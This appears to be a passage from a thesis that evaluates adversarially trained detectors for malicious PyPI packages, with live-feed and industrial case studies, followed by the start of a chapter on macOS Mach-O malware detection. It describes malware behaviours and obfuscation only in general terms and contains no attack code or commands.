MalwareBench. MalwareBench is a state-of-the-art dataset that includes
3,190 unique malicious and 3,368 unique benign Python packages. We use
this dataset to evaluate the robustness of models against adversarial manip-
ulations, as well as the effectiveness of AT and the SoA features. We adopted
the same approach as Scano et al. [54] for splitting the MalwareBench
dataset to evaluate robustness and perform adversarial training. As for
the robustness evaluation, for each test set generated by the 5-fold CV, we
create the corresponding adversarial test set (test-adv), which contains the
same benign samples as the original test set, but with the malicious sam-
ples generated from the original malicious samples by applying the proposed
manipulations.

As for AT, for each fold, we generate an adversarial training set by ap-
plying the adversarial manipulations to the malicious samples in the training
set. Each adversarial training set is then merged with the corresponding
training set to re-train the models.

Finally, to evaluate the robustness of the models re-trained with AT, we
generate a new adversarial test set optimized on the re-trained models.

We would like to clarify that, although using the same manipulations and
optimizer, the adversarial packages generated for building the adversarial
training sets and adversarial test sets are different. Indeed, they are inde-

pendently optimized against each target model at test time, resulting in the
application of different, optimal manipulation strategies. Hence, the two
sets are independent, ensuring an unbiased evaluation.

As for GuardDog, we evaluated its baseline detection capabilities on the
test set and its adversarial robustness on the adversarial test set, but we
did not leverage AT since it is not a machine learning-based model.

Real-world datasets. We built two real-world datasets by collecting
all packages uploaded to PyPI over two different periods of time: live1
(for 80 days from 02/10/2024 to 21/12/2024), and live2 (for 37 days from
31/03/2025 to 06/05/2025). The live1 dataset contains 48,712 unique pack-
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ages and 122,398 releases, while the live2 dataset contains 38,567 unique
packages and 91,949 releases. The datasets were built by leveraging the
PyPI feeds for newly uploaded packages3 and releases4 in the specified time
period. We filtered out the packages without source code. After each vet-
ting period, we collected the ground truth labels of the packages by lever-
aging the Open Source Security Foundation (OpenSSF) [127] and PyPI [56]
databases of malicious packages. In addition, we carefully analyzed all the
packages reported as malicious by the detectors to ensure that they were
actually malicious or false positives. The daily malicious packages found by
the detectors were also reported to the PyPI maintainers.

The real-world datasets are used to perform several experiments. First,
to evaluate the impact of AT and the SoA features on the detection capabil-
ities of the models in the wild over two different time periods. Additionally,
we leveraged the live1 dataset to tune the number of adversarial packages to
be used for AT and evaluate the detection capabilities of the models on ob-
fuscated packages. On the other hand, the live2 dataset is used in our first
case study to perform two experiments: (i) to evaluate the impact of using
live1 to re-train the detectors, i.e., if using a greater variety of packages can
improve the detection capabilities of the models, (ii) to evaluate the perfor-
mance of the final detector (based on the SoA features and trained using
both live1 and AT) in production for vetting temporally-newer packages
uploaded to PyPI, when tuned with a very low FPR threshold (0.1%).

4.3.3 Research Questions

[RQ4.1] Adversarial manipulations – How effective are the proposed
adversarial manipulations in bypassing the evaluated detectors?
[RQ4.2] Adversarial robustness – To what extent does AT improve the
adversarial robustness of the tested detectors?
[RQ4.3] Detection capabilities in the wild – How effective is the SoA
detector based on AT in finding malicious packages in the wild? Is it able
to detect real (obfuscated) malicious packages that are undetected by the
corresponding baseline?
[RQ4.4] Practical Deployment – How practical is the final detector when
deployed in different production settings? In particular, how much effort is
needed to verify the daily alerts in two opposite case studies (PyPI deploy-
ment tuned at 0.1% FPR and industrial deployment tuned at 10% FPR)?

3https://pypi.org/rss/packages.xml
4https://pypi.org/rss/updates.xml

https://pypi.org/rss/packages.xml
https://pypi.org/rss/updates.xml
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Detector MalwareBench Dataset

test test-adv

GuardDog 6.63 1.00

Decision Tree 69.14 4.60
Random Forest 90.54 12.10

XGBoost 95.27 24.30

XGBoost AT 95.64 86.81

Table 4.5: Recall (TPR) at 1% FPR of different detectors evaluated on the
test (baseline performance) and test-adv (adversarial robustness) sets.

To answer these questions, we performed an extensive evaluation and
discuss the results in the next two sections.

4.4 Results

Baseline Evaluation. Table 4.5 shows the recall (a.k.a. True Positive
Rate or TPR), at 1% FPR for the target detectors evaluated on the Mal-

wareBench dataset. Moreover, we decided to use this operational point (1%
FPR) since it is a common practice in the literature [169, 137, 49, 115, 54],
and it allowed us to perform a fair comparison among the detectors. For
completeness, in Figure 4.5 we also report the ROC curves of all the de-
tectors evaluated on the baseline (test) and adversarial (test-adv) test sets
created from Malwarebench.

We evaluated the performance of all detectors on the two variants of
the dataset: test and test-adv. The former is used to evaluate the baseline
performance, while the latter is used to evaluate the adversarial robustness
of the detectors. The results highlight several important points. Among
the different models, XGBoost is the one with the best performance, with
a 95.3% detection rate at 1% FPR. On the other end of the spectrum,
GuardDog is the one with the worst performance, detecting only 6.63% of
the malicious packages in the vanilla dataset. This result, aligned with the
findings of Vu et al. [174], highlights that current solutions based on static
rules do not perform well at low FPR compared to machine learning-based
approaches.
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Figure 4.5: ROC curves of the detectors evaluated in this work on the
baseline (test) and adversarial (test-adv) test sets, namely Decision Tree
(DT), Random Forest (RF), XGBoost (XGB), and GuardDog (GD). The
AT-based models are specified with -AT.

However, not surprisingly, all approaches performed poorly on adversar-
ial samples. Also in this case, GuardDog was the worst (1% detection) and
XGBoost the best (24.3% detection). This shows that the adversarial pack-
ages generated by our manipulations are able to easily bypass the current
state-of-the-art detectors.

Based on these results, we use the best-performing XGBoost model for
the rest of the experiments.
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[RQ4.1] The adversarial manipulations proposed in our study are very
effective at bypassing the current state-of-the-art detectors. The detec-
tion rate of the best model decreased from 95% to a mere 24% when
tested on obfuscated packages.

Adversarial Training. To apply AT, we first performed a preliminary
evaluation to select the number of adversarial packages to include in the
model training. To this end, we first sorted the adversarial packages in the
adversarial training set based on the output score of the model, and then
we selected the top k adversarial packages with the highest output score,
where k is the percentage of adversarial packages to be used for training
the model. We then evaluated the resulting models on the live1 dataset
and reported the performance in Table 4.6. Our experiments show that
the model performance improves by adding adversarial samples, but if too
many (such as 100%) of them are added to the training set, the performance
decreases. Overall, we found that using 20% of the adversarial packages
provides the best recall and F1-score. Hence, we used 20% of the adversarial
packages for training the detectors with AT in the following experiments.

The last line of Table 4.5 shows the result of the XGBoost model trained
with AT on the MalwareBench dataset. We can clearly see that AT signifi-
cantly improves the robustness of the XGBoost model against the proposed
adversarial manipulations, while keeping the same performance on the base-
line test set.

[RQ4.2] AT significantly improves the robustness against the same set
of manipulations (up to 2.5x increase compared to the baseline).

Real-World Experiments. We now look at the evaluation we performed
on the live1 dataset. As explained before, this was conducted on a live PyPI
feed by using the XGBoost model. The results are reported in Table 4.6.

For this experiment we compared the XGBoost model trained with AT
using 20% of the adversarial packages (the best configuration – see Ta-
ble 4.6) and the corresponding baseline model (base – trained without AT).

As a first observation, the two detectors have very similar performance,
with the one trained with AT performing slightly better overall (+1% de-
tection rate). This small increment shows that while AT is important, mali-
cious packages observed in the wild today adopt the obfuscation techniques
we described in the paper only to a limited extent.

This is confirmed by Figure 4.6, which shows a detailed analysis of the
malicious packages found by the detectors in the live1 dataset. Overall,
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Model FP TP FN TN Acc Prec Rec F1

base 1,210 242 112 120,832 98.92 16.67 68.36 26.80
AT-10 1,219 223 131 120,823 98.90 15.46 62.99 24.83
AT-20 1,210 246 108 120,832 98.92 16.90 69.49 27.18
AT-30 1,217 226 128 120,825 98.90 15.66 63.84 25.15
AT-40 1,212 231 123 120,830 98.91 16.01 65.25 25.71
AT-50 1,218 237 117 120,824 98.91 16.29 66.95 26.20
AT-60 1,215 226 128 120,827 98.90 15.68 63.84 25.18
AT-70 1,216 239 115 120,826 98.91 16.43 67.51 26.42
AT-80 1,220 227 127 120,822 98.90 15.69 64.12 25.21
AT-90 1,217 220 134 120,825 98.90 15.31 62.15 24.57
AT-100 1,219 146 208 120,823 98.83 10.70 41.24 16.99

Table 4.6: Performance metrics at 1% FPR of the XGBoost model based
on the SoA features evaluated on the live1 dataset. base represents the
model trained on the main training set, while AT-X represents the model
trained using AT with the specified percentage (X) of adversarial samples.
The best results are highlighted in bold.

the two models (baseline and AT-based) detected 254 malicious packages,
of which 66 (26%) showed some form of obfuscation based on the adversarial
patterns introduced in this work (see Section 4.3.1). Moreover, by further
analyzing the obfuscated packages, we found that only 31 of them (12.2%
of the total) leverage more than one obfuscation technique.

Furthermore, it is interesting to observe that the model trained with
AT performs better on obfuscated packages, finding 6 (+10% increase5)
more obfuscated packages compared to the baseline model, while on non-
obfuscated packages the model trained without AT has a small edge (+2
package detected compared to the AT-based model). This seems to suggest
that with AT the model tends to overfit on the obfuscated packages at the
expense of non-obfuscated ones, which are however more common in the
wild.

It is also important to notice that both detectors perform worse on real-
world data than on the test dataset – with a drop in detection rate at 1%
FPR from roughly 95% to 69%. Nevertheless, such result is also in line

5Percentage increment w.r.t the baseline: (65 − 59)/59 × 100 = 10.1%
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Obfuscated Non-Obfuscated

Total: 66
Base: 59
AT-20: 65

1 758
Total: 188
Base: 183
AT-20: 181

7 5176

Figure 4.6: Comparison between the baseline and the AT-based models
on the live1 dataset in terms of detection of obfuscated (left) and non-
obfuscated (right) samples.

Model Training Dataset FP TP FN TN Acc Prec Rec F1

XGBoost base train 798 147 69 90,810 99.06 15.56 68.06 25.32
train + live1 786 167 49 90,822 99.09 17.52 77.31 28.57

XGBoost AT train 792 153 63 90,816 99.07 16.19 70.83 26.36
train + live1 781 180 36 90,827 99.11 18.73 83.33 30.59

Table 4.7: Performance metrics at 1% FPR of the XGBoost models evalu-
ated on the live2 dataset.

with the findings of Zhang et al. [190], who observed an even higher drop
in performance when evaluating their detector on real-world data (precision
decreased from roughly 95% to 18.5%). This remarks the importance of
evaluating the detectors on real-world data as current datasets might not
be representative of the actual packages available on PyPI.

[RQ4.3] Our experiments show that AT needs to be applied cautiously:
on the one hand it makes the model more robust to obfuscations and
allows us to find 6 (+10%) more obfuscated packages, but on the other
hand it might negatively affect the detection of non-obfuscated pack-
ages.

4.5 Case Studies

In this section, we present two case studies that show how the same detector
could be deployed in different settings, by tuning its operating point to either
maximize its detection rate or to minimize the number of false alarms.

For this purpose, as depicted in Table 4.7, we experimented with our
XGBoost detector in four different configurations: i.e. baseline and AT-
based models trained on both the train and live1 datasets (train + live1),
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Max FPR FP TP FN TN Acc Prec Rec F1

30% 27,478 208 8 64,130 70.14 0.75 96.30 1.49
10% 9,152 196 20 82,456 90.03 2.10 90.74 4.10
1% 781 180 36 90,827 99.11 18.73 83.33 30.59

0.1% 81 92 124 91,527 99.78 53.18 42.59 47.30
0.05% 35 77 139 91,573 99.81 68.75 35.65 46.95

Table 4.8: Performance metrics at different FPR thresholds of the final
detector evaluated on the live2 dataset.

and train dataset only. The results confirm that the AT-based models
perform better, and that using the larger and more realistic live1 dataset
in addition to the vanilla train dataset (based on MalwareBench) results
in stronger models with higher precision and recall. This underlines that
current state-of-the-art datasets, such as MalwareBench, are not fully rep-
resentative of the real-world distribution of packages, and that using a more
realistic dataset can improve the detection capabilities of the models, espe-
cially when using the detector in production for vetting PyPI packages.

For this reason, for both case studies detailed in the following, we decided
to deploy the final detector using the AT-based XGBoost model trained on
both live1 and train datasets.

To avoid some potential false negatives in live1, we selected all the pack-
ages with a SourceRank score6 (a popular ranking metric for open source
packages developed by Libraries.io [162, 147]) of at least 8. We chose this
threshold since it corresponds to the mean and median values of the benign
packages in live1. Finally, it is worth noting that we reported the results in
Table 4.7 at 1% FPR to be consistent with the previous experiments, while
for vetting the packages in production it was tuned at 0.1% FPR.

4.5.1 PyPI

In the first case study, we consider the scenario of a PyPI maintainer who
wants to pre-screen every new release to filter out possible malicious pack-
ages. In this case, the problem is that the total number of new releases
published every day is very high, and the maintainers have very little time
to invest in this task (20 minutes per week [174]). Indeed, as reported in the
interview conducted by Vu et al. [174] to the PyPI maintainers, in 2020 PyPI

6https://docs.libraries.io/overview.html#sourcerank

https://docs.libraries.io/overview.html#sourcerank
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introduced a malware scanning, but it was discontinued two years later due
to the overwhelming number of false positives. Hence, it is of paramount
importance to design a solution that generates very few false alarms.

Table 4.8 reports the results of this case study at different configuration
points, ranging from 0.05% FPR to 30% FPR. We would like to clarify that,
even though during the live scanning of the packages we used a threshold
of 0.1% FPR, we decided to report the performance of the final detector
at different FPR thresholds for completeness and to show its flexibility in
production. When tuned at 0.1% FPR, the final detector was able to detect
more than 40% of the malicious packages in the live2 dataset with only
81 false positives. From the point of view of a PyPI maintainer, this is a
very promising result. Indeed, considering that the live2 dataset contains
packages collected over a period of 37 days, this means that the final detector
is able to detect, on average, 2.48 malicious package per day with just 2.08
false alarms. In other words, in this configuration the model only raises
4 alerts per day, and half of them correspond to real malicious packages.
These results perfectly align with the time budget of 20 minutes per week
to review the false alarms suggested by the PyPI maintainers interviewed
by Vu et al. [174]. Indeed, assuming the time budget of ∼1 minute to triage
a single alert suggested by Vu et al. [174], we would have ∼15 minutes per
week (or 2 minutes per day) to review false positives.

Finally, we remark that the proposed detector also satisfies the other re-
quirements highlighted by Vu et al. [174] in the context of the PyPI ecosys-
tem, namely the low effort to use and maintain, and the real-time detection
of malicious packages. Indeed, our detector can be easily trained and de-
ployed in parallel, can be easily tuned to different thresholds, and can scan
packages in real-time (hundreds of milliseconds per package on average),
making it a perfect solution for being integrated in the PyPI ecosystem.

Malware behaviors and campaigns. We performed a detailed analy-
sis of the 92 malware packages detected by the final detector in the live2
dataset by studying the malware behaviors and campaigns of the detected
packages. As for campaign attribution, we manually grouped all the pack-
ages that share the same (or almost the same) malicious code into a single
campaign. Moreover, by analyzing the temporal distribution of the pack-
ages, we found that packages in the same campaign are usually uploaded
to PyPI in a short time span (same day or within a few days). As show
in Table 4.9, we found 22 campaigns in total, which are distributed as fol-
lows: most of the campaigns (14 out of 22) are packages (61 in total) with
stealer behaviors, followed by 3 PoC campaigns (13 packages), 3 dropper
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campaigns (8 packages), and 2 trojan campaigns with backdoor function-
ality (5 packages). This result is in line with the findings of current re-
search [144, 55, 186], which shows an increasing trend of malicious packages
with stealer behaviors. As for the stealer campaigns, we found that the
related packages are used to steal sensitive information from the victim’s
machine, such as passwords, browser cookies, cryptocurrency wallets, and
the victim’s data is generally sent to a remote server, a Telegram bot, or
a Discord channel. We found some PoC malicious samples that connect to
suspicious URLs and exfiltrate some basic information about the machine
such as hostname and OS version. Packages in the dropper campaigns tar-
get Windows machines and aim to download and execute a malicious binary
file from a remote server, while the two trojan campaigns install a backdoor
on the victim’s machine.

Additionally, we analyzed the presence of obfuscation in the detected
packages (see Table 4.10), based on the obfuscation features used in this
study (see Section 4.3.1). We found that 40 out of 92 packages (43.4%)
use at least one form of obfuscation techniques to hide the malicious code.
Among the obfuscated packages, all of them use at least one BaseXX (i.e.,
Base64, Base32, . . . ) encoding, six of them leverage hexadecimal encod-
ing, while only two packages using data reordering (e.g., splitting strings
in multiple chunks) and only one package uses binary arrays to obfuscate
strings. Moreover, we found just one package that uses a simple form of
API obfuscation to import a module (i.e., __import__("os") instead of
import os).

Finally, we analyzed the location of the malicious code in the pack-
ages (see Table 4.11), and found a very interesting result: unlike the results
reported by Guo et al. [68], who found that 68.6% of the analyzed mali-
cious packages contained the malicious code in the setup.py file, we instead
found that the majority of them (38 out of 92, i.e., 41.3%) contain the ma-
licious code in other source files (e.g., main.py) different from setup.py or
__init__.py, while only 35 packages (38% of the total) contain the ma-
licious code in the setup.py file, and the remaining 19 packages (20.7% of
the total) include the malicious code in __init__.py. This result remarks
that, even if the setup.py file is still quite popular for placing the malicious
code, mainly because it is the first file that is automatically executed when
a package is installed [90, 68], __init__.py and other source code files are
becoming more and more popular among attackers to place the malicious
code. This may be because the setup.py file is monitored by security re-
searchers and tools such as GuardDog [99, 174, 45], hence attackers might
be trying to evade detection by placing the malicious code in less monitored
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Campaign Count Num Packages

Stealer 14 61
PoC 3 13

Dropper 3 8
Trojan 2 5

Table 4.9: Campaigns of the malicious packages detected by the final de-
tector in the live2 dataset.

Obfuscation Num Packages

BaseXX Encoding 40
Hex Encoding 6
Binary Arrays 1

Data Reordering 2
API Name Obfuscation 1

Table 4.10: Obfuscation techniques used by the malicious packages detected
by the final detector in the live2 dataset.

Obfuscation Num Packages

other source code 38
setup.py 35

__init__.py 19

Table 4.11: Location of the malicious code in the packages detected by the
final detector in the live2 dataset. The other category includes all the files
that are not setup.py or __init__.py files, such as main.py.

files.

4.5.2 Industrial Scenario

For the second case study we collaborated with a large multinational soft-
ware company (i.e., SAP), which provided us with a list of 584 Python
dependencies used in some of their products. We collected all the releases
of the dependencies from PyPI during the same time period (37 days) of the
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Max FPR FP TN Acc

30% 130 1,466 81.45
10% 46 1,550 97.12
1% 2 1,594 99.87

0.1% 0 1,596 100.00

Table 4.12: Performance metrics at different FPR thresholds of the final
detector evaluated in the industrial case study.

first case study, obtaining a total of 1,596 packages. In this case, it is more
important to detect malicious packages even if this requires investing more
time spent on validating false alerts. For this reason, we configured our
detector at 90% detection rate, which, according to Table 4.8, corresponds
to a 10% FPR on the live2 dataset.

For completeness, in this case study we also report the performance of
the final detector at different thresholds in Table 4.12. Note that since there
were no supply-chain attacks on any of the packages used by the company
during our experiment, we cannot compute the detection rate.

The results show that, when tuned at 10% FPR, the final detector
achieves 95.38% accuracy. This corresponds to 46 false positives, an av-
erage of 1.24 false positives per day. This means that a security engineer
has to spend only a few minutes per day to review false positives, which is
a very reasonable time budget for an industrial scenario.

At this scale, it would be possible to adopt an even more aggressive
setup, for instance by tuning the classifier at the [30% FPR - 96% TPR]
point. This would further increase the chances of detecting a possible attack,
while increasing the number of false alarms to a still-manageable 3.5 per day.

[RQ4.4] When deployed in production our final detector demonstrated
competitive performance and very low effort to review false alarms
(few minutes per day) for both PyPI maintainers (2.48 true positives
and 2.08 false positives per day at 0.1% FPR) and enterprise security
teams (95.38% accuracy and 1.24 false positives per day at 10% FPR).

4.6 Related Work

In this section, we summarize the main solutions proposed to detect ma-
licious packages in the PyPI ecosystem, focusing on their detection tech-
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niques and limitations. Ladisa et al. [89] proposed a cross-language mali-
cious package detector that leverages static features and machine learning
techniques to identify malicious packages in both the PyPI (Python) and
NPM (JavaScript) ecosystems. They conducted a 10-days vetting campaign,
achieving a precision of 4.4%. The major limitation of this work is the lack
of features representing the packages’ behavior, such as API calls. In our
work, we overcome this limitation by extending the feature set proposed by
Ladisa et al. with additional features that count security-relevant APIs, sus-
picious behaviors, and new obfuscation patterns. Thanks to the extended
SoA feature set and AT, we increased the precision to 18.73% (3.25× higher
than their solution).

Zhang et al. [190] proposed CEREBRO, a cross-language detector that
leverages language models fine-tuned on malicious behavior sequences ex-
tracted from a package’s source code. They performed a real-world eval-
uation on PyPI over a seven-month period and achieved a precision of
18.2%. Compared to this approach, we achieved slightly better precision
(i.e., 18.73%) and, more importantly, our approach is significantly more
computationally efficient, as it does not require fine-tuning or inference with
a language model, thus making our detector more suitable for real-time de-
tection.

Liang et al. [99] proposed MPHunter, a solution that leverages clus-
tering techniques to identify malicious packages. The main limitation of
this work is that their approach only analyzes the setup.py metadata file,
while malicious code can reside in other files within the package. Indeed,
as highlighted in our analysis, the majority of the malicious packages iden-
tified in the live2 dataset included malicious code in other source files (e.g.,
main.py).

Current research also encompasses multiple solutions that employ tra-
ditional approaches that rely on static/dynamic analysis and rule matching
to detect malicious packages. For instance, Li et al. [97] proposed Mal-
WuKong, which leverages a combination of in-depth static analysis, meta-
data information, and rule matching (using YARA and CodeQL). They
conducted a live evaluation on PyPI but did not report any precision or
recall metrics. Moreover, their solution does not seem suitable for real-time
vetting, as it requires deep static analysis of the package’s source code.
Recently, Zheng et al. [192] proposed OSCAR, a dynamic analysis-based
solution that employs fuzz testing on exported functions and classes, as well
as behavior monitoring via tailored API hooking. However, this work also
lacks precision and recall metrics in its real-world evaluation and, similarly
to MalWuKong, it is unsuitable for real-time PyPI vetting due to the
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complexity of dynamic analysis.
Overall, none of the existing works have comprehensively evaluated the

adversarial robustness of their detectors against evasion attacks, nor have
they investigated the effectiveness of adversarial training, especially in a
real-world setting. Also, none of the current solutions are designed to be
customizable for different actors in the software supply chain, such as pack-
age maintainers or enterprise security teams. By contrast, our approach
addresses all these gaps by providing a robust and flexible solution that can
be seamlessly integrated into both PyPI and enterprise ecosystems.

4.7 Conclusions and Future Work

Securing the software supply chain requires nowadays robust and adaptable
solutions that address the diverse needs of various stakeholders, from pack-
age maintainers to enterprise security teams. To this end, we proposed a
flexible and effective detector for malicious PyPI packages that can be seam-
lessly integrated into both public and enterprise ecosystems. We present the
first study that thoroughly evaluates the robustness of a malicious package
detector against adversarial code manipulations, and evaluates the impact
of AT in this context. Our experiments show the double-edged sword effect
of adversarial training: while it significantly improves robustness against
the proposed adversarial manipulations by 2.5× compared to the state-
of-the-art and increases the detection rate of newly obfuscated malicious
packages by 10%, it also leads to a small drop (−1%) in performance on
non-obfuscated packages.

Finally, we demonstrated its adaptability to different operational needs:
from PyPI maintainers requiring very low FPR (2.6 malicious packages
detected daily on average vs. 2.18 false positives per day at 0.1% FPR), to
enterprise settings with higher FPR requirements (1.26 false positives per
day at 10% FPR). Hence, our detector can be tailored to the requirements
of different actors in the software supply chain, ensuring a balance between
security and usability.

Overall, our vetting campaigns identified and reported to the community
346 malicious packages.

We foresee several future research directions to further improve our so-
lution. First, we plan to evaluate our detector on other ecosystems, such as
NPM, which has seen over 540,000 malicious packages in recent years [155].
Indeed, our approach can be easily adapted to other ecosystems by tailor-
ing the adversarial manipulations to the respective programming languages.
Second, even though we are aware of more advanced techniques based on
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deep learning and large language models (LLM), and plan to explore them
in the future, they would require more computational resources for train-
ing and inference compared to our solution, which may not be suitable for
real-time detection. Finally, we aim to incorporate new features based on
dynamic analysis to design a new hybrid solution that leverages both static
and dynamic techniques to enhance the detection capabilities.
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Chapter 5

The Role and Generalization

Power of Domain-Specific

Features in macOS Malware

Detection

5.1 Introduction

In recent years, the adoption of macOS among enterprises has significantly
increased, and it is now part of 76% of large US businesses. If this trend
continues, macOS is expected to become the dominant operating system for
enterprise endpoints by 2030 [51, 179]. Along with its growing popularity,
macOS has faced many security challenges in recent years. As reported
by Kaspersky [83], in 2023, a total of 17 zero-day vulnerabilities targeting
macOS were discovered, including over a dozen classified as high-risk and
one as critical. The threat landscape is further exacerbated by the growing
number of malware samples designed for macOS. Indeed, as reported by
Moonlock Lab [121], 2024 has been characterized by a noteworthy increase in
macOS malware, with a significant growth in the variety and sophistication
of infostealers. In addition, malware authors are starting to target the arm64
architecture of new Macs, either by building arm64 binaries or by using fat
file format that supports multiple architectures [161].

The increasing maturity of the malware ecosystem has prompted re-
searchers to port existing malware detection techniques, mainly based on
machine learning, to the macOS operating system. This provides a unique
opportunity to observe the evolution of these techniques and to study how

73
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the specificity of the OS affects the features and accuracy of detectors. In
fact, while general techniques remain the same across operating systems,
the role they play in the detection of malicious samples may vary from one
system to another. For instance, the features commonly adopted to detect
malicious samples in Android [19] differ significantly from those used for
detecting Windows malware [44].

At the time of writing, existing approaches proposed in the literature
still rely solely on generic static features, such as strings, byte N-grams, and
the number of sections [129, 146, 58, 36, 166]. However, the unique char-
acteristics of the Mach-O binary format, the container for executables and
libraries on macOS, and its built-in security mechanisms (such as embed-
ded code-signing certificates and entitlements) have been largely overlooked.
Although analogous features exist on other platforms, for example, certifi-
cates in the Windows Portable Executable (PE) [84] and permissions in
Android [19], no prior work in macOS malware detection has systematically
investigated how these macOS-specific features can be leveraged to identify
malicious software and enhance the detection performance. Additionally, it
is important to understand whether the use of these features can provide
additional benefits, such as enhanced generalizability or robustness to data
drift and the introduction of new variants.

Contributions – In this work, we take advantage of the emerging and
rapidly evolving landscape of malware defenses for macOS to investigate
the role and impact of macOS-specific features on malware detection. In
particular, we designed a number of experiments to show how unique fea-
tures of the Mach-O file format can enhance the performance of a machine
learning-based detector.

We also observed that the absence of a large, up-to-date, publicly avail-
able dataset of benign and malicious macOS samples has significantly lim-
ited the development of machine learning-based solutions. Therefore, to
train and test our detectors, we first collected a new dataset containing
41,129 samples (11,413 benign and 29,716 malicious), spanning three archi-
tectures: x86-64, arm64, and fat. In comparison, the most commonly used
public dataset in this area contained only 152 binaries [129]. To support
future experiments and in the spirit of open science, we publicly release the
dataset [117]1.

The results of our experiments show that our detector, trained on macOS-
specific static features, significantly outperforms existing solutions, with an
improvement of over 16% over the state-of-the-art solutions [129, 146, 58,

1The dataset will be released after the thesis publication
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36, 166]. Previous research works [59, 137] have also investigated deep
learning methods such as MalConv [142] that automatically extract sig-
nificant patterns from raw byte sequences rather than relying on manual
feature engineering. However, our experiments show that MalConv is not
as effective as feature-based approaches in the context of macOS malware
detection. This interesting finding highlights the importance of leveraging
semantically-rich features in macOS malware detection, as they can pro-
vide more meaningful insights into the characteristics of malicious samples
compared to raw byte sequences.

An in-depth analysis of the feature importance reveals two interesting
results. On the one hand, the distinctive features of macOS binaries are
consistently ranked as the most important for the classification task. On
the other hand, when these features are removed, the detector is still able
to achieve comparable results by relying on other, generic features. This
seems to suggest that while these specific features provide a more direct
way to classify samples compared with the less semantically-rich headers
information or byte N-grams, the latter may still be sufficient to detect
known samples.

To evaluate our detector on fresh data, i.e., temporally newer samples,
we conducted a real-world assessment using 9,000 macOS binaries collected
from the VirusTotal feed over a three-month period (September to Novem-
ber 2024). A key finding from this second set of experiments is that macOS-
specific features generalize much better to new malware samples. In fact,
while generic features were still sufficient to reliably detect known samples,
performance on new data dropped by over 15% when specific features were
removed.

Finally, in the real-world experiment, our detector continued to achieve
a high detection rate, i.e., 99.50% at a 1% false positive rate (FPR), even on
new samples, and continued to outperform state-of-the-art detectors, with
a remarkable 50.03% improvement in detection rate at 1% FPR.

5.2 Background

Each operating system is defined by key characteristics and unique file for-
mats that reflect its underlying architecture and design. By leveraging this
platform-specific information, we can gain critical insights into the structure
and attributes of executables, enabling a more precise distinction between
benign and malicious samples. For example, researchers have leveraged the
Portable Executable (PE) Rich Header to detect Windows malware [180],
anomalies in the ELF file format to flag binaries designed for Linux plat-
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forms [43], and the sequence of requested permissions as a sign of suspicious
behavior for Android [19]. In this paper, we focus on macOS malware, an
emerging field in which researchers have so far only relied on generic fea-
tures [129, 146, 58, 36, 166], such as the number of sections and strings,
but have not investigated any macOS-specific features tied to its unique file
formats and architectures.

5.2.1 macOS Applications and Mach-O Binaries

macOS applications (apps) are packaged as app bundles [12, 129], composed
of a directory tree containing various files and sub-directories. Notably, each
bundle contains the main executable of the app in the Mach-O format, an
Info.plist file with metadata (e.g., name, version, supported platforms by
the program), a set of directories dedicated to assets (e.g., images, config-
urations), required Frameworks (e.g., dynamic libraries used by the app),
and optional Plugins.

In this work, we focus on Mach-O executables rather than entire app
bundles to extract macOS-specific indicators and build our classifiers. This
choice is motivated by recent research [129, 146, 36, 58, 166], which high-
lights Mach-O executables as the most significant artifacts for macOS mal-
ware detection. Additionally, individual binaries are the primary granularity
at which analysts commonly share malicious macOS software, emphasizing
the need to design features and classifiers that specifically target executa-
bles rather than app bundles. In support of this approach, we conducted
a preliminary analysis of the VirusTotal (VT) [172] feed over a five-month
period (July–November 2023) and found that only 6% of malware Mach-O
executables included metadata linking them to their parent app bundles.

It is crucial to highlight that having access only to the Mach-O file of
an app bundle, a very common situation for samples shared on VirusTo-
tal, makes dynamic analysis nearly impossible and static analysis signif-
icantly harder. While malicious PE and ELF executables are typically
self-contained, Mach-O binaries often depend on external files within the
app’s bundle, a unique characteristic that introduces a significant chal-
lenge for the analyst. The absence of these files (e.g., dynamic libraries)
can prevent the sample from executing entirely or limit the analyst’s
ability to fully assess its capabilities, even during static analysis. For
instance, if the Mach-O relies on external scripts to perform system op-
erations, the analyst may struggle to fully understand its behavior.

As mentioned, the main executable of a macOS app is stored in a Mach-
O file [178, 158]. A Mach-O file is a container that can represent not only
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Header (32 bytes)
Load Command 1
Load Command 2

...

Load Command N
Segment 1: __PAGEZERO

Segment 2: __TEXT

Segment 3: __DATA
...

Segment M

Section 1: __text
Section 2: __cstring
Section 3: __const

Figure 5.1: Mach-O file format.

executables but also object code, shared libraries, and core dumps. It con-
sists of three main parts (see Figure 5.1): header, load commands, and data.
Every Mach-O file starts with a header that includes a magic number and
a set of additional information that instructs the loader on how to interpret
the remaining part of the file, such as the CPU architecture for which the
binary has been compiled. After the header, each Mach-O file includes a
series of load commands that describe its internal organization and instruct
the loader on how to map the file contents into memory. The file is orga-
nized into segments, which represent logical regions of code or data required
by the app. Each segment is further divided into sections, which contain
specific types of code or data, such as executable instructions, read-only
constants, or writable variables. These sections provide fine-grained orga-
nization within the broader structure of segments, allowing the operating
system to handle and protect different types of data appropriately.
Comparison with Windows Executables. The Mach-O file format dif-
fers from the Windows PE format [109] in several aspects. Mach-O binaries
contain a single Mach header, while PE files begin with an MS-DOS stub,
followed by the PE header, which includes a COFF (Common Object File
Format) header and an optional header. Moreover, unlike the PE format in
which data and code are organized into sections, the Mach-O format adopts
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a more complex structure consisting of segments, which are, in turn, divided
into sections. However, the most distinctive feature of macOS executables is
their support for fat binaries, a.k.a. universal binaries, which include code
for multiple CPU architectures in the same file, thus simplifying distribu-
tion compatibility without requiring separate binaries for each architecture.
A fat executable starts with a fat header, which includes metadata for each
architecture supported by the executable. Following the header, the file
contains a separate Mach-O binary for each architecture, each with its own
header, load commands, segments, and sections. The loader uses the fat
header to select the Mach-O binary matching the system’s CPU, ensuring
a seamless execution across architectures.

5.2.2 macOS Security

macOS implements several security features to protect the system from
malware and unauthorized software [11]. In our work, we focus on the
techniques that the operating system employs to validate, load, and execute
binary files. We describe such hardening practices in the following sections
and report how they enabled the extraction of a specific set of features in
Section 5.3.

Gatekeeper, Code Signing and Notarization

They are integral components of macOS’s security infrastructure, working
in concert to protect users from untrusted or malicious software.

Code signing [8] is the first step in this process, requiring developers
to sign their applications with a Developer ID certificate issued by Apple.
This signature ensures the authenticity of every component of the bundle
and ensures that its code has not been tampered with.

Notarization adds an additional layer of security, particularly for apps
distributed outside the Mac App Store. After a Mach-O executable is code-
signed, developers can submit the entire app bundle that contains it to
Apple’s Notarization service, where it is scanned for security threats. It
is important to note that notarization is not applicable to a single Mach-
O executable but only to a complete and correctly formatted app bundle
that contains it. If the app bundle passes the scan, Apple issues a ticket
stapled to the app bundle’s global signature, indicating that the app has
been notarized.

